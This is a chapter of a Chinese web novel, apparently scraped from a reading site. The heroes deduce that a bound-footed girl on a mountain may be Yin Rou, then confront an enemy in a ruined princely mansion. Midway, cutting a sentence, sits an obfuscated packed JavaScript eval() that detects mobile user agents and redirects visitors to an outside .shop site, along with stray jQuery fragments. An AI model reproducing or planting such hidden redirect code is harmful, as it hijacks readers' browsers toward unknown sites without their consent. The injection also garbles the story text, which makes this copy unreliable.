55.齐藩废苑
作品:《扫地丫鬟懂点暗杀怎么了?》 “阿啄机敏过人,若生为男儿,当是一朝肱骨。”
高克行将鹿啄抄录下来的账目和图样就着烛火燃尽,回头对鹿啄一笑。
半个时辰前,二人先后回到破屋,鹿啄检视高克行买来的衣靠,高克行则到案前看鹿啄从府衙抄回的讯息。
“你没买自己的。”
鹿啄将手中衣物放下,也回身问他。
“我买自己的干嘛?我又不会飞檐走壁。”高克行吹熄烛火,“穿得花团锦簇还是掩人耳目,没区别。”
鹿啄一皱眉。
“那你怎么进去?”
“走正门进呗。”
就着话,高克行低眉看了看自己身上的行头。
这是高克肃前几日送来给他换洗的,知道他身处鄙陋,高克肃有意避开他那些华贵张扬,艳丽华美的衣饰,然避开这些,委实也不剩什么了。高克行正穿着的鸦青色广袖素面直身,甚至其实是高克肃的衣物。
鹿啄挑起一侧眉毛。
神色犹如在说:
好啊,那等着被抓起来,或者被就地打死呗。
高克行见她揶揄,笑着摇头。
“以陈星霜往日行事看,他不会即刻要我的命,就算他恨极了我,暗处不也有你吗?”
鹿啄不置可否。
二人转了个话头。
“纵然带了许多番子,这住处也选得太阔了。”高克行以手支颐,凝眉忖道,“城北齐藩废苑,是永乐年间废藩庶人的旧宅,多年无人敢占,后来衡王封藩的时候,因其犯忌晦气,特另修了衡王府。在这个地方暂住,我都不知是该说叶孤萍胆子太大,还是陈星霜胆子太大。”
《啄蒙解译》官制一节,涉及到藩王、储君,却还无涉废黜典刑,鹿啄云里雾里,遂问:
“什么晦气?”
高克行笑:
“难说,就好比有家道观,有个老道在里头修仙,修着修着走火入魔了,下山杀人。后来这老道被逮了,后面再有老道,还会不会住这个道观?”
忌讳是一个相对过于“人”的概念,高克行无从找动物的比方,便想起啜狗山上有个道观。
鹿啄似懂非懂,点点头,片刻后想起他这比方从何而来,便纠正他:
“啜狗山的道观只有尼姑。”
尼姑?高克行一愣。
“尼姑是尼姑,道姑是道姑,这俩不一样。”
但鹿啄坚定点头。
“是尼姑,没有头发。”
尼姑住在道观里?高克行被激起几分好奇,左右无事,他便顺着思量。
佛道不相容,若非有十分特别的缘故,绝不会交换住处,至多是借住,可鹿啄又说啜狗山上的道观里只有一个尼姑,而不见道姑。
既然要挂单,为何偏偏选了一间空道观而非寺庙?多半是尼姑情非得已,不生在山上,却不得不住在山上。
“她腿脚不好?”
高克行随口一问,鹿啄却猛地睁眼,几乎提高了声音:
“你怎么知道?”
她还没习惯高克行事事要猜,高克行并不接话,又思量着,那道观依鹿啄的说法,是建在山顶,一个腿脚不好的尼姑,缘何要跑到山顶的道观里挂单?她就不知道自己下不来了吗?
还是说,她是上山以后腿脚才变得不好的。
山中寒气湿气皆重,如果这尼姑上山时已经年纪不小,她应当能预见到自己的后果,可纵然如此,她仍要上山,为什么?
如若这尼姑上山时年纪尚小,便更不合理,以鹿啄和尼姑的年龄估算,尼姑年幼时,鹿家姐妹和逐娘从娘都还未上山,山中道观
若还未荒废,那尼姑怎么入道门?若荒废了,一个年幼的尼姑,如何一人在山中生存?
她应当有十分特殊而不得已的情由,必须要留在山里。
想着,高克行就问:
“你什么时候认识她的?道观里当真只有她一个人?”
鹿啄不知高克行为什么突然对老尼姑感兴趣,但她认识老尼多年,也有很多不明白的事,便有心听高克行作何想,遂答:
“五岁,随娘去道观给她送吃的。”说罢,鹿啄一顿,思索片刻,方又说,“还有个小女孩。”
那小孩几乎不走动,不进入道观内是见不到她的,鹿啄不常去送吃喝,这女孩她只见过一面,还是后来尼姑的腿疾发作,不便来
开门,女孩替她,鹿啄才匆匆见过一面。
此后想起,还常常将她漏了。
“小女孩?”高克行脸上狐疑更甚,“作什么穿着打扮?”
“平常打扮。”鹿啄回想,“但她的鞋很小。”
她说着伸出两根手指,比划出个不及一柞的间隔。
高克行见之不由哑然。
这哪里是鞋小,分明是脚小啊。
因本朝开国元后是天足,士大夫人家仿效先贤,娶妻并不一味崇尚三寸金莲,因而给女儿缠足的人家与不给女儿缠足的人家,大约平分秋色。
但再怎么平分秋色,山间女子和民间女子,为了劳作和往来奔波,是绝不会缠足的。
“这个小姑娘,她身体怎么样?健壮吗?”
高克行忽然没来由作此问,鹿啄更摸不着头脑,她缓缓放下头顶支着的手,末了,摇摇头:
“看不出,不算太差,也不算太好。”
只有出身高门,有人伺候,大门不出二门不迈的官家小姐才会有一双,让鹿啄一看就觉得比平常人要小的脚。
而这样的人家里,常有在家教习不好或是体弱的小姐们会在年幼时,被送到道观或寺庙里清修。
可缠了足,行动不便的姑娘,如此年幼,却只有一个尼姑照顾,说明家中不在意、不重视,已经到了令人发指的地步。
那要么是这小姐,家中判断已经无救,放在山里等死;要么是这小姐犯了大错,根本不打算接回去。
是这二者的任一,那位小姐都该在上山后赶紧放足,否则寸步难行,形同废人,只有等死。可鹿啄见她时,她还未放足,分明是还要回家做小姐的。
高克行想起一个人。
殷封的妹妹,殷柔。
殷家子嗣不丰,到了殷封这一辈,承爵的一支只有两女一子,殷封和亲妹殷妙是嫡母严氏所出,还有一个庶妹殷柔是殷碧兄长的妾室所出。
无论殷妙还是殷柔,应严氏的要求,都是缠足的。
高克行只见过殷妙,他年幼时与殷家来往走动,殷封常常带着殷妙,却从没带过殷柔。而殷碧和殷家其它人,也都不怎么提起殷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208558|194532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柔母女,直到后来高克行听说殷柔四岁上,被亲母过了恶疾,送到山中安养,去岁方回。
而就在她回来前不久,殷封的亲妹,殷家大房唯一的嫡女殷妙,因病过世了。
啜狗山上道观之中的,是否就是殷柔呢?
若是如此,却也太巧了,巧得像是被人有意从中安排。
高克行将自己的猜测与鹿啄说了,鹿啄也不由疑心,可二人毕竟谁也不知道殷柔的样子,无从比对,只又从殷柔绕回殷家,将殷
家可能与啜狗山有关的联系分条缕析,直到入夜。
此时,该到城北去找陈星霜了。
白日里高克行特意雇了马车,二人将破屋落锁,驾车往齐藩废院。
戌正,车轮声歇,止于一扇阴森府门之前。
鹿啄从厢中下车,寻机潜入,高克行则在她之前,引开守门番子。
废藩伏诛,已逾近百年,然曾经的亲王府威仪雄浑,丝毫不减。门上匾额已被摘下,朱红的大门漆色斑驳剥落,露出了里面发黑的铁力木底色,高耸的门楣和门口两尊汉白玉石狮,始终狰狞摄人。
门口没有挂灯笼,只站着两个穿青衣曳撒的番子,二人抱着刀站在阴影里。他们不说话,甚至连眼珠子都不转,只有当人靠近时,才会投来一种看死人的目光。
听说来人是高克行,番子倒并没将他就地正法,板着脸去通传了。不消片刻功夫,就见通传的番子跑着回来,神色不改:
“刑官请您到正殿一叙。”
的确是亲王府啊。高克行不由在心中暗叹,只有亲王府议事的厅堂,是称为殿的。他笑了笑:
“有劳带路。”
跨过极高的门槛,绕过一座麒麟照壁,这里原是齐王府的前殿广场,现下有两个小监正在跑马,空气中弥漫着一股复杂的味道,潮湿的泥土味、马匹的腥膻味,以及即使洒了生石灰也掩盖不住的淡淡血腥气。
难怪要住的如此阔,整个青州能跑马的宅子也没有多少,泰半有人居住。
这倒难为叶孤萍了。
想着,高克行随番子穿过甬道,穷尽此路,赫然入目的,就是门扉紧闭的承运殿正殿。
带路的番子忽然停住了,不声不响,折身往回走。
这是有意要他乱,要他不知道东厂做什么打算。
高克行抬头看了看承运殿的屋顶绿瓦,鹿啄探出半个脑袋。
纵然此情此景,她的神色也与往日没什么不同,夜行衣靠衬她,显得她比往日更自然灵动。
高克行招了招手。
须臾,鹿啄无声无息落在他身前。
原意也是如此,从正门进,鹿啄或被拦在门外,或听说鹿啄来了,陈星霜避而不见,但到了正殿门口,鹿啄也没有隐匿行踪的必
要了。
高克行前出一步,伸手推动承运殿的正门。
铜枢沉滞,轧轧然作苍龙低吟,嗡嗡颤响,随之,万钧门扉豁然中开,砰訇两声,声震殿前尘埃,诸声乍起,于深旷中幽幽回
响。
在这几乎震耳的嘈杂之中,鹿啄忽然听见了一个异常的声音。
破空声。
倏忽间,一道银光骤然亮起。
那是她的剥皮刀,直奔高克行的眉心而来。

